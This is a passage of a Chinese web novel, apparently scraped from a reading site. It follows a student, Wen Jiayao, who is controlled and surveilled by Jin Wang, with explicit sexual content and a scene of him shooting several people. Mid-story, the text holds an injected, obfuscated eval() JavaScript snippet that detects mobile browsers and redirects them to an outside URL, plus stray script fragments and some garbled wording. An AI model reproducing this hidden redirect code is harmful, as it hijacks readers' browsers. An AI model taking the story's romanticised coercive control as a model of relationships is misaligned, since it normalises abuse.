秋日天光穿过枝叶斜透进高窗,金影洒落在桌上,温柔斑驳。 温嘉窈合上笔记本,收拾好东西,偏头看了眼仍趴桌上睡觉的关婧,刚想叫醒她,忽然眼前的窗户被人从外面拉开。 “嘘。”郁珠食指竖在唇前,冲她眨眼坏笑。 温嘉窈弯起唇,看见郁珠捏起关婧脸侧的一缕发丝,故意使坏扫过她的鼻端,关婧眉心轻蹙,鼻尖发痒地皱了皱。 旋即惹来一声“阿嚏——!” 关婧迷迷糊糊睁开眼,从桌上爬起来,揉眼嘟囔:“哪来的柳絮啊好烦……” 郁珠哧哧笑得不怀好意,手指轻戳了下她额头,“醒醒,该干活了关同学。” 听到身旁温嘉窈浅淡的笑音,关婧这才醒过神来,转头捏捏她软白的脸蛋,佯作气恼:“好啊窈窈,你也跟阿珠学坏了戏弄我!” 温嘉窈背上包起身,唇角含笑:“补偿你,今晚请你吃中餐食堂的菠萝炒牛肉。” “耶斯!”关婧一听这个就两眼放光,迅速收好包,转头朝窗外的郁珠俏皮吐舌,“窈宝好,珠珠坏!” 郁珠靠在墙边,笑哼:“想吃菠萝牛肉,要赶在食堂关门前干完活哦。” 关婧立马挽住温嘉窈,冲出教室,拽上郁珠的胳膊就走:“快快,来不及了!” …… 临近万圣节,哥大专门辟出一块区域,作为万圣节的派对场地。 派对前期阶段由各社团分工筹备,每个社团划分到不同区域,各尽其职,限时一周内完成布置。 温嘉窈当时被关婧连哄带骗,才一起进了校园活动社,后来两人又在社团里认识了郁珠,郁珠和她们同级不同专业。 半学期后郁珠当上副社长,把温嘉窈和关婧划到自己组里。 活动社这次负责的[南瓜童话村]主题区,设在中央草坪与学生活动中心楼之间。 场地已经布置出大致轮廓。 入口的木门缠挂枯藤,篱笆围出几条弯曲交织的小路,两侧立有歪斜的南瓜屋,假乌鸦与稻草人四处散布。 整体氛围神秘,带点奇诡感。 连续几日下课后,三个女孩都会按时来到这里,聚在一起边忙碌边聊天。 “诶窈宝,靳妄这几天怎么肯课后放你出来啦?”关婧蹲在许愿井边,给占卜角的木牌刷上旧漆,还不忘嬉笑着调侃温嘉窈, “平时不是晚回家一分钟都要经过他批准吗?” 温嘉窈坐着木箱,正低头将黑丝带串上金色铃铛。闻言手上动作顿了下,眼底流露一点思考。 片刻,她才温声沉吟:“靳妄最近好像有点忙。” 这些天靳妄回家都非常晚,但是平均十分钟发一次消息,她必须立马回复: 【这个点你已经下课了温嘉窈】 【要我提醒么?你今天忘了说想念我】 【以及,你为什么不问我去哪了?】 当然半小时一次的通话也要及时接: ‘窈窈在做什么?’ ‘从监控里看到你刚洗过澡,记得穿外套。’ ‘还看到了什么?当然是看到你用了我买的护理液,清洗我最珍爱的pussycat(小猫咪)。’ ‘乖,先睡,哥哥回来会自己品尝它。’ 那些野辣不堪的欧美台词,曾经给江南水乡来的温婉小姑娘带来巨大的震撼,天长日久,对他无孔不入的掌控和放纵,竟然已经习惯了。 温嘉窈不会等他,因为靳妄如果不在,她可以回到自己的房间睡觉,反而轻松些。 不过第二天早晨,总会面对自己睡裙不翼而飞的样子,还有单褥上的一片不明湿痕。 下楼时依然能准时碰见晨运结束的靳妄,他洗过澡,眯眼笑的表情,完全是吃饱了自助的愉快。照例照顾她吃早餐,如常带她一起去学校。 然后下课后他再次不见人影。 说起来,靳妄今天从早上分开后,都没有找过她,没有通话,也没有发信息。 温嘉窈会觉得有些奇怪,这在过往三年的生活里,几乎没有发生过。 不,是从没发生过。 除了上课,他不允许她有私人空间。 当然温嘉窈并不在意这些。反而会庆幸,因为他忙,自己才能多点时间出来跟朋友相聚。毕竟这样的机会不常有。 “快说说,他在忙什么?”关婧眼中立刻闪起满满八卦。 温嘉窈为南瓜玻璃烛盏系上蝴蝶结,偏头看向她,诚实地摇摇头:“我不清楚。” “你居然可以忍住不问!”虽然清楚温嘉窈是个淡性子,关婧还是觉得不可思议,“他可是靳妄诶,而且你们每天都同住一个屋檐下。” 郁珠这时候单手扛着小梯子,走过来拍了下关婧的脑袋,笑骂:“你以为谁都跟你一样八卦。” “而且你也说了那是靳妄。”郁珠把小梯子卡好位置,三两步利落地爬上去,指了指地上示意, “想让那种众星捧月的太子爷报备行程,还是太天真了吧。” 关婧揉揉脑袋,把地上的彩灯串递给她一头,撇嘴不甘:“不公平,靳妄对窈窈的任何事都了如指掌,反过来怎么不行啦?” 郁珠把小彩灯穿挂住铁艺月亮,缠上面前的许愿树,边忙活边随口道:“其实我觉得是窈窈根本不在意这些。” “她对靳妄没兴趣,自然也不在意他去哪里,在忙什么。” “那如果按照你的逻辑,”关婧很快举一反三,笑着打趣,“靳妄把人管得这么严,是不是代表他非常在意窈窈?” 气氛蓦然微凝。 关婧和郁珠相视一眼,又默契地同时望向温嘉窈。 感受到对面两人齐齐投来的促狭目光,温嘉窈若有所觉地抬头。 她淡淡弯唇,晶莹黑亮的眸子干净通透,解释的语调真诚依旧: “不是的,靳妄这样的人,有很多人爱他,我只是一个寄宿生,对他而言不算什么的。” 她说这话也不是为了自轻自贱,只是出自于阶层差距认知和理性推测。 就算肉.体关系每天都在发生,温嘉窈仍然认为这只是出于他的新鲜感、猎奇心、征服欲,人之常情而已。仅此而已。 就算某天靳妄告诉她,她只是他的八百个床伴之一,她也不会意外。 虽然这样想有点小人之心,但总归,她和靳妄是两个世界的人。 “说的没错。”郁珠作为被郁家重点培养的对象,见多了金玉其外败絮其中的少爷们,点头说, “我赞同窈窈离靳妄远一点。” 关婧眯起眼睛,语气狡黠,不赞成道:“你也太不会嗑了,我看靳妄对窈宝就是独一份的好……” 她们还在争论,温嘉窈忽然感到衣兜连续几下震动。 她现在这里能联系的人不多,下意识以为是靳妄催自己回家。温嘉窈不敢耽搁,连忙掏出手机,却发现不是他。 屏幕上接二连三蹦出几条短信,强势命令的口吻化作一个个感叹号,无声刺入她的眼中。 “温嘉窈,对吗?” “温嘉窈,你必须立刻离开Salisbury!对,就是靳妄!” “立刻,越远越好!听懂了吗?!” 温嘉窈睫毛轻颤,看了眼对方的号码,是陌生的。 完全不认识的人,她不免有些困惑。 没等收起手机,屏幕界面自动上滑,两条新短信又挤进来。 “你看到消息了对吧?” “如果你不照做,我保证,你一定会非常后悔的!” 寄住在埃德蒙家第四个年头,很多人都知道,靳妄对借住在自家庄园的妹妹偏爱有加。于是也不乏经常有人以搭上靳妄为目的,刻意接近温嘉窈。 但通过发匿名短信,警告威胁她必须离开靳妄的,还是第一次遇到。 也许是靳妄的狂热粉。 温嘉窈这样想着,没放心上。 然而,一声特殊铃音陡然响起,极为刺耳。 温嘉窈不得不再次看向手机,还是刚才发送匿名短信的人: “这是巴黎[藏骨洞穴]地下搏击场,欧洲最神秘血腥的权贵赌城。” “视频应该是好几年前某个斗手冒死偷拍的,资源已经损毁,只能破解出最后两三秒内容,你自己看吧。” 紧接着对方发来一张实况照片。 照片点开的瞬间,温嘉窈一阵心悸—— 画质有些模糊。 最初的画面视角低伏隐蔽,镜头边缘糊着血。下沉式搏斗池里血水漫开,白骨堆叠四周。 一头黑色斗犬低吼着咬住拍摄者的腿,把人拖 进血泊,随之摔倒,镜头里出现一只漆光锃亮的薄底皮鞋。 下一秒,镜头猛然推高,拍出红绒座位上叠腿而坐的少年。 霓虹炸亮,照彻祖母绿法式廊柱,孔雀蓝哥特穹顶,浆果紫贵宾卡座,鎏金橙的香槟塔,共筑成的庞大销金窟。 浮华诡谲的光影之下,少年一身哑黑风衣长及膝盖,一双野性的蓝眼睛讥诮又傲慢。 他抬手,两指夹着张火舌跳跃的美金,点燃唇边细长的香烟。 然后指节一松,燃烧的纸币打着旋飘向身后。 “轰”地! 满地美金堆成的圣诞树被他随意点燃,化为焰火,冲天而起,纷纷扬扬洒下一片碧海金浪。 衣冠楚楚的人群欢呼尖叫,朝他举杯恭祝。 大提琴歌剧演奏、惨叫、兽吼、筹码搅动声一并交织。 正当注意力集中在这奢靡诡谲的夜宴…… 温嘉窈蓦地发现,那双蓝眸正盯着镜头。 垂着眼,像看狗。 随后昂贵的皮鞋底落下来,踩碎了画面,仿佛碾碎一只虫子。 屏幕黑掉,映出温嘉窈惊惶的脸。 镜头里那些极具冲击力的画面,反复侵蚀她的大脑,温嘉窈脊背发凉,攥紧手机边缘的指节不自觉泛出青白。 耳边似乎是关婧在唤她:“……窈窈?窈窈!” “嗯?”温嘉窈一下子醒过神,收起手机,“抱歉,你刚才说什么?” “我说,上次我跟你说过的口译志愿者工作,还记得吗?”关婧走过来,坐到她旁边,有点苦恼道, “明天酒店那边要开展新一期交流会,但我有面试去不了。” 说到这里,关婧一把捉住温嘉窈的手,满脸央求道:“窈窈,你替我去顶替一天好不好!反正靳妄最近忙得很,他不会发现的!” 温嘉窈微微抿唇,显然是有些犹豫。 她私心当然是想去的,不仅可以帮到好朋友关婧,还可以得到实践工作锻炼的机会,无论从哪方面来说都有利无害。 只是…背着靳妄做事,被发现的话,后果很坏。 这件事她在大一下学期就深有体会。 那天晚上她耳朵不舒服,引起头疼。即便当时已经有专业的医疗团队为她治疗耳朵,但大半夜的,温嘉窈不想麻烦任何人。 包括已经彼此交换过肉.体的靳妄。 于是她自己偷偷跑去小诊所,想买盒止痛药先顶着。 没想到靳妄紧接着就出现了。 他在她疑惑的眼神中走进来,随手脱掉外套,裹住她发冷的身子。 同时操着她还听不太懂的英语,为她翻译,向诊所医生耐心阐述她的病症,替她确定了一盒药效相对温和,不伤神经的止痛片。 止痛片仅仅用于减轻温嘉窈路上的难受。 靳妄牵着她走出诊所,一路飙车直奔[圣维奥拉],抵达时,专属医疗团全体待命。 而体贴过后,是他毫不留情的惩罚,在她完全病好的那个星期六晚上。 靳妄逼迫她读诗。 英文诗。 “从我…看到你的第一眼,我明白我会爱你……” “像狂兽像烈焰的…爱……” “但不准…这件事不能发生” “……会山崩地裂” “我会、会血肉模糊…唔哈……” 她终究还是防线太低,泄得太快,仅仅只需要,几首小诗的朗读时间。 靳妄从她裙子里钻出来,抵近,浸染水光的唇角戏谑挑起,声腔慵懒:“窈窈会比诗里写的更爱我吗?” 在美国长大的年轻男人,那时候喜欢把爱挂在嘴边: “还是说…你要先尝尝自己,才能确定有多爱我?” 他低头吻了下来。 带着她的味道。 “窈窈,你怎么了?”郁珠似乎觉察到她的异样,抬手贴上她的额头,“脸红成这样,不会是吹冷风发烧了吧?” 温嘉窈耳根都烧烫了起来,连忙低头,拉下郁珠的手说自己没事。 她还在犹豫。 她还是想去。 靳妄的惩罚虽然可怕,但最近他回家很晚,她觉得自己能做到不被发现。 于是踌躇良久后,温嘉窈还是没忍住,告诉关婧:“好,我替你一天班。” 13.动魄夜 酒店正门低调得像一栋私人宅邸,深色雨棚上写着烫金的[The Peninsula]字样。 温嘉窈在下午3点准时抵达这里,看见街边豪车云集,基本都是商务黑色,便知道自己没来错地方。 门僮拉开厚重铜框门,她道谢,来到酒店三楼会议层。 关婧拜托她帮忙替班的交流会,就在这里开展。 整个三层由多间会议室打通,划分为统一的论坛区和休息区,中间用茶歇廊作为连接。业内人士三两成群,低声交谈着,令场馆保持相对的安静。 温嘉窈抱着资料往论坛区走,她正低头查看邀请函上的具体位置信息,无意和一位蜜金色鱼骨辫的高挑女生擦肩而过。 忽听闻背后的脚步声停顿了,然后折返,快步接近她。 随后,女生的手伸过来,猛然拽住她的手臂,将她一把扯回去。 “温嘉窈?你是温嘉窈。” 前半句疑惑,后半句肯定,女生对上温嘉窈不解的表情,自我介绍道, “我叫伊洛斯?哈里曼,前几天跟Salisbury共进早餐的人。” 温嘉窈想起来,哈里曼家族,苏阿姨给靳妄介绍的姑娘。 她对她的主动交谈表示不解,出于礼貌,还是打招呼,“很高兴见——” “也是给你发信息,让你离开他的人。”伊洛斯急迫地打断她的寒暄。 温嘉窈有些怔懵地停在这里,脑海浮现昨日收到的那张动态照片,想起少年靳妄在其中表现得有些可怕,内心涌上怪异的感觉。 只是她对当下情况始料未及,一时不知道该从何问起: “噢…您怎么在这儿?” “你说交流会?”伊洛斯皱紧眉头仓促解释, “交流会是瑞士银行主办,华尔街财经联合举办的。闭门邀请制,来的都是欧美老牌家族办公室代表,凭我们哈里曼家……” 说到这里,她仿佛被自己的话提醒了,警觉地四下扫视起来,然后她靠近温嘉窈一步,紧张严肃地压低音量: “不对!这不是重点!重点是你要快点离开Salisbury!” 昨天收到消息时,温嘉窈还以为是靳妄的某位女伴,或是他的狂热倾慕者。 毕竟靳妄这样光鲜,受万众瞩目,爱他的人很多。 直到现在,她亲眼看见伊洛斯说出这句话的表情,掺杂了一些后怕和……恐惧?她才发现事情有些不对劲。 “哈里曼小姐,你怎么了?发生了什么?”温嘉窈关心。 伊洛斯回过神来,张口语速飞快:“我发生什么不重要,重要的是你,你在Salisbury身边很危险!他可不是什么好人。” “什么意思?” “你知道他16岁的时候,埃德蒙家族出过一场很惨的内斗吧?” 伊洛斯压低音量,“他那个远房叔叔,想把靳氏母子挤出家族……” 温嘉窈自然不清楚,也就没有说话,等她继续。 “可是后来有一天,那个叔叔人间蒸发了,忽然销声匿迹,连他家人都说……从没有过这个人!” 伊洛斯说着顿了一下,眼神发直: “可我最近查到了,Salisbury当年和[暮桌会]信函往来的痕迹。” 她突然抬手抓紧温嘉窈的衣袖,略带激动:“你知道‘暮桌会’是什么吗?!那可是……” “您是今天代班的温小姐吗?”不远处走来一位燕尾服侍者,向温嘉窈询问。 伊洛斯立刻宛若惊弓之鸟,转身离开。 温嘉窈看着她背影消失在转角,耳边是工作人员的催促:“您的座位在7号桌,中英现场互译,会议马上开始了。” 伊洛斯讲述得声情并茂,像个口才了得的情景剧演员。 对于看美剧都有些费劲的温嘉窈来说,她所说的那些未免过于悬浮虚幻了。 什么[巴黎权贵赌城],什么[暮桌会],把温嘉窈弄得有些懵了。 无奈现在也无法细问。 温嘉窈只好收起心思,快步走到桌前坐下,准备投入工作。 不远处的墙角后,伊洛斯默默地探出来,远远看向论坛区里坐着的温嘉窈,又小心地瞥了眼刚才的服务生。 绝对不是错觉。 那个人一直在盯梢,从她找上温嘉窈开始。 交流会上有不少华尔街财阀,不排除有靳妄的手眼在这里。 这可不是伊洛斯空穴来风,她这些天都快要精神崩溃了…… 一切都要从早餐不欢而散那天开始说起。 伊洛斯痛骂自己,不该在那天的晚些时候,越想越气,非要找到号码联系靳妄,试图让他给个说法: 【Salisbury,你对我太失礼了!】 【联姻是你们埃德蒙家族,和我们哈里曼家族共同商议的事情,你不能那么对我。】 【你必须要向我道歉!】 短信发出去,许久没有任何回音。 可惜她不了解靳妄,如果有人想和他谈恋爱,他或许会礼答No thanks。 但如果有人提及和他结婚…… 当晚午夜,清晰的铃声传来阴冷的简短回讯: 【Drop dead】 (去死) 一切都是从那之后开始的。 起初她在自家花园散步,惊恐地发现所有玫瑰都被连根拔起。 血红的花瓣腐烂一地,沾着湿泥,像某种被肢解的尸体。 伊洛斯尖叫着转身跑回卧室,却在经过梳妆台时猛然停住脚步。 古老的十字钟摆下方,一把餐刀,直挺挺插在洋娃娃的头上,刀尖穿透了木质头颅,将它钉进墙里。 娃娃的眼睛被震得半开,塑料眼珠斜斜地看着她。 她扑向房门:“来人!有没有人——!” 门把手拧得哗哗响,门纹丝不动,从外面锁上了。 警察来后,很快锁定了她家一个工作六年的花匠。那人曾被伊洛斯当众辱骂过“下等人”,有动机,也承认了自己想要报复伊洛斯。 人被带走后,她当晚还是不敢再住那栋房子,让司机送她去半岛酒店。 司机发动引擎。 收音机突然炸开一道恐怖的尖啸,仿佛金属摩擦玻璃般的锐利鸣音,直往脑子里钻。 “关掉!关掉它!”伊洛斯缩在后座发抖呐喊。 司机手忙脚乱地关了。 车内安静十分钟后,那声音又猛烈炸响。 “对不起,小姐,是线路问题……”司机抱歉道。 她带着惶恐住进酒店,把所有门窗反复检查过,才敢关灯上床。 可是她发现,每天凌晨两点,房间窗户会自动敞开。她明明锁死了! 酒店工程部来检查,说是滑轮松脱,已经派人修好。可窗户依然会自动打开,就好像有双看不见的手,在准时准点地推开它。 昨晚她索性搬了把椅子,坐在窗前盯着。 指针走到两点整……窗户没动,她终于松口气。 然后,身后的衣柜门,轻轻地“吱呀”一声,打开了。 里面什么都没有。只有一面穿衣镜,镜子里的她脸色煞白,像见了鬼。 想到这里,伊洛斯的手紧紧抠着墙壁。 她想不通,一切都像是巧合,也有合理的解释。 可为什么她的世界开始精神折磨,她的生活变得离奇诡异, 都偏偏发生在招惹了靳妄以后? 伊洛斯把一切归咎于此,这些天派人仔细查了查靳妄,结果不尽如人意。 所有信息都表明,靳妄是出身埃德蒙家族的Golden boy,即便她再倾尽关系,能查到最直观的蛛丝马迹,也就只有发给温嘉窈的那张实况照片。 两三秒钟时间,就算能看出来靳妄表里不一,也无法实质证明什么。 “Salisbury就是个表面漂亮,实则邪恶狠毒的混蛋!” 伊洛斯愤恨地暗骂,又看向那边全神贯注、面带微笑的温嘉窈。 温嘉窈的侧脸柔暖软白,乌发低垂,翻动议程表的动作轻盈干净,散发清冷的气质,让人想靠近,又不敢惊扰。 像深秋傍晚的湖面,没什么波澜,静谧地照见一池落虹婉转。 伊洛斯盯着她看了几秒,胸口那团火莫名其妙地熄了一半:“Salisbury,你凭什么和这么温柔的女人在一起?你没资格做她哥哥。” “你才去死吧!” 温嘉窈无暇分心。圆桌两侧坐着的都是金融圈的老手,语速快,专业术语连珠炮一样砸过来。她必须在发言者停顿的间隙完成转换。 伊洛斯那些话还悬在心头,但她此刻没有余力去想。 偶尔有听不懂的生僻词,她会在笔记本上飞快记下音标,趁下一位发言时速查。 额角渗出薄汗,而她声音始终平稳清润,毫不慌乱。 会议结束后,最先围上来的是那位侍应生,主动提到交流会有提供接送服务,问她要不要安排车送行。 温嘉窈也是第一次听说有这种服务。 她微笑婉言谢绝,毕竟别墅离这里不远,这个时间段,地铁或是共享自行车都要比轿车更快, 侍者四下环顾一圈,确认没有可疑人物在她周围出现,才点头离开。 …… 曼哈顿入夜,亿万霓虹像熔金倾泻而下,时代广场的巨幕永不入眠,摩天楼群楔立于云层,车流如动脉般奔涌。 美帝蘼朽沉沦,这里依然如世界心脏般跳动。 回到别墅区,温嘉窈找地方停好公共单车,拎着包往家走。 掏出手机看了眼,安安静静,有些怪异。 昨天到现在为止,靳妄不仅昨夜没有回来睡觉,直到现在也没有联系她。 一天一夜没有消息,她虽然好奇心不旺盛,可也会觉得奇怪。 但很快,走到家的她,发现了另一件不寻常。 别墅门廊的感应灯没亮。 那盏灯从她住进来起就很灵敏,无论多晚回家,只要踏上台阶,暖黄的光就会自动亮起。 而今晚,没有。 整栋别墅黑黢黢地矗立着,门窗紧闭,一丝光缝也无。 她走进门,玄关壁灯也按不亮。停电了。 温嘉窈在门口适应黑暗,寒气从门缝里爬出来,裹着种怪异气息,潮湿发霉。像铁锈,像屠宰场,清冷但肮脏的味道。 她打开手机手电筒,惨白光束切开黑暗。 走廊安静得诡异。 平时这个时间,女佣们会在二楼和三楼之间走动,收衣物、准备晚餐、给花瓶换水。 可现在一个人也没有,就算停电,人也不会凭空消失吧? 女士平底鞋在地板上轻悄挪动,手电光束扫过走廊墙上的油画。 画中人的眼睛在光影里摇晃反光,仿若复活,又悄然死去。 “安妮?”她轻声唤熟识的女佣。 没有回应。 沿着旋转楼梯,她小心地贴着墙根往上走,到二楼平台的回廊时,她忽然觉得脚底一滑…… 有液体渗进了她的浅口平底鞋,从鞋底的缝隙里漫上来,温热、黏稠。 她低头。 手电光照在地上,映出一片暗红色的反光。 一大滩,从走廊深处蜿蜒过来,浸透她的鞋底, 温嘉窈瞳孔颤抖,心脏猛地撞击一下胸腔。 旋即! ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641420|205664||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “砰砰砰——” 三声巨烈枪响从走廊深处炸开。 她指尖抖晃,手机差点甩脱。 本能而迅速地关了手电光,黑暗瞬息将她吞没。 眼前只剩一道锋利的门缝,由月光投射,在回廊上印出一条亮线。 鬼使神差般的,身体仿若被某种力量牵引,她一步步颤抖着,无声无息地走向那道门缝。 月光灌满书房。 透过虚掩的门缝,她看见一个背影正缓缓倒下。 那个人跪在地上,双手捂着腹部,嘴里发出水泡咕嘟似的呜咽,然后身体一歪,重重砸在地板上,溅起小片血花。 在他倒下时,露出了后方的,靳妄的脸。 靳妄站在书桌后面,侧对着门,月光把他的轮廓描绘成美神雕像。 可他脸上溅着血。 血珠挂在眉骨和颧骨,沿他冷白的皮肤流淌,在颧骨下方,拉出一道道暗红色的痕迹。 男人的右手垂在身侧,食指随意地勾在扳机护圈里,枪口冒着若有若无的青烟。 他喃喃自语,垂头对着地面说话:“凡摸那死尸者,必不洁净到晚上。” 这是一句出自旧约圣经《利未记》的礼教性洁净律,却被他吟诵出诅咒般的森冷感。 温嘉窈抑制不住地剧烈抖动起来,呼吸变得断断续续。从小生长在治安完善的国家,她无法预想到,自己会直面一场枪击。 哦不,不,冷静… 这里是纽约州,靳妄身为美国籍,完全可以合法持枪。 如遇非法入室,一定情况下更是可以直接开枪。 然而转眼间,她惊慌的瞳孔就映照出地上的躯体。 好几具,横七竖八, 四肢摊开的姿态不像活人能做到的。 原来他在对这些肢体说话! 她脑海里混乱不堪,恍惚回荡起一些话,伊洛斯对她说过的, ——你必须快点离开Salisbury! ——他很危险。 ——他十六岁就能让一个人消失。 她脚软了下,手掌撑住门边墙壁才勉强稳住。指尖蹭掉一块墙皮,灰粉嵌进指甲缝里,小臂一直抖到指尖,抑制不住地发颤。 诡异到这里却远远没有结束。 她看见靳妄他、他缓缓……缓缓地抬起手中的枪,将枪口凑近自己的嘴唇。 色泽殷浓的舌头探出来,极慢地舔过尚热的枪膛,从枪口吮舐到抛壳窗。 舌尖细细勾弄,品尝枪弹爆炸后的余味。 月光施加惨冷色相,男人的嘴唇染上靡丽的深红色,舌尖沾染暗痕,他却像在尝一颗糖。 “没有窈窈甜。” 他的声音轻如湿雾,兀自品评。 温嘉窈轻颤一下。 倏尔,她看见他嘴角弯起笑弧,表情在布满血污的脸上显得诡异而天真: “也没有窈窈烫。” 空气太过安静,他歪头,抬脚踢了踢地上的人:“对了。你们知道窈窈去哪了吗?” 那人的头颅被拨向另一侧,没回答,也无法回答。 “我知道。”靳妄笑了出来,轻轻地压低声音,在对谁说悄悄话似的, “宝宝偷偷去酒店工作了,没告诉我呢。” 温嘉窈抬手死死捂住自己的嘴。 他知道了?! 什么时候? 这么快,她连慢慢铺垫解释的机会都没有。 眼下的可怖情景,她甚至怀疑,如果靳妄发现了没有报备的她就站在门口,也许下一个被他一枪打死的人就是她。 紧接而来是漫长的沉默,惹人心惊。 温嘉窈精神高度紧绷,险些产生已经被他发现的幻觉。 直到突然,他开口,再次向虚无发问:“为什么不告诉我,宝宝。” “为什么,为什么,为什么,为什么,为什么,为什么,为什么……为什么,呢?” 单一的平静语调,以整齐规律的节拍,发出诡谲的质问。她背上的鸡皮疙瘩炸开一片,头皮刺麻。 她只知道他私下有些阴晴不定,但现在靳妄手里有枪,地上是人体和狼藉,她不敢惊动。 紧急中,她想起门厅有独立的报警系统,不受停电影响,只要按下按钮,信号会直连到警备中心,和埃德蒙家族的私人安保团队。 当务之急,是先报警。 温嘉窈咬唇屏住呼吸,无声地往后挪,悄然退到楼梯口,她转身借着月光快步往下跑。 衣物擦过楼梯扶手,发出极轻的窸窣声。 书房里的低笑声和自言自语在继续。 袜子已经被血浸透,脚趾缝里都是粘腻的湿意。 意识到这个,反胃的酸液呛到喉咙口,她捂嘴干呕不敢吐,扑到报警系统前,慌忙唤醒电子屏幕。 屏光幽幽地照亮她的脸,照出她眼眶里生理性的泪光。 她向着“SOS”按钮伸出手准备按下。 距离只差半寸。 一只手自背后的黑暗里显现。 贴上她小臂内侧的皮肤,如有生命的藤蔓,缓慢地攀绕、游移,蹭过她手背的骨节,滑过她指缝间的空隙。 男性修长冰凉的手指,蛇钻窝一样,一根根挤进去,直至扣紧,十指相缠。 “Wee home,”(欢迎回家。) 湿冷气息从后覆盖上来,平静如一面无风之湖。 “princess.”(公主。) 靳妄的鼻尖蹭着她耳廓,声音从她颈侧漫上来, “Salivating at the sight of you.” (一见到你啊,就垂涎欲滴。)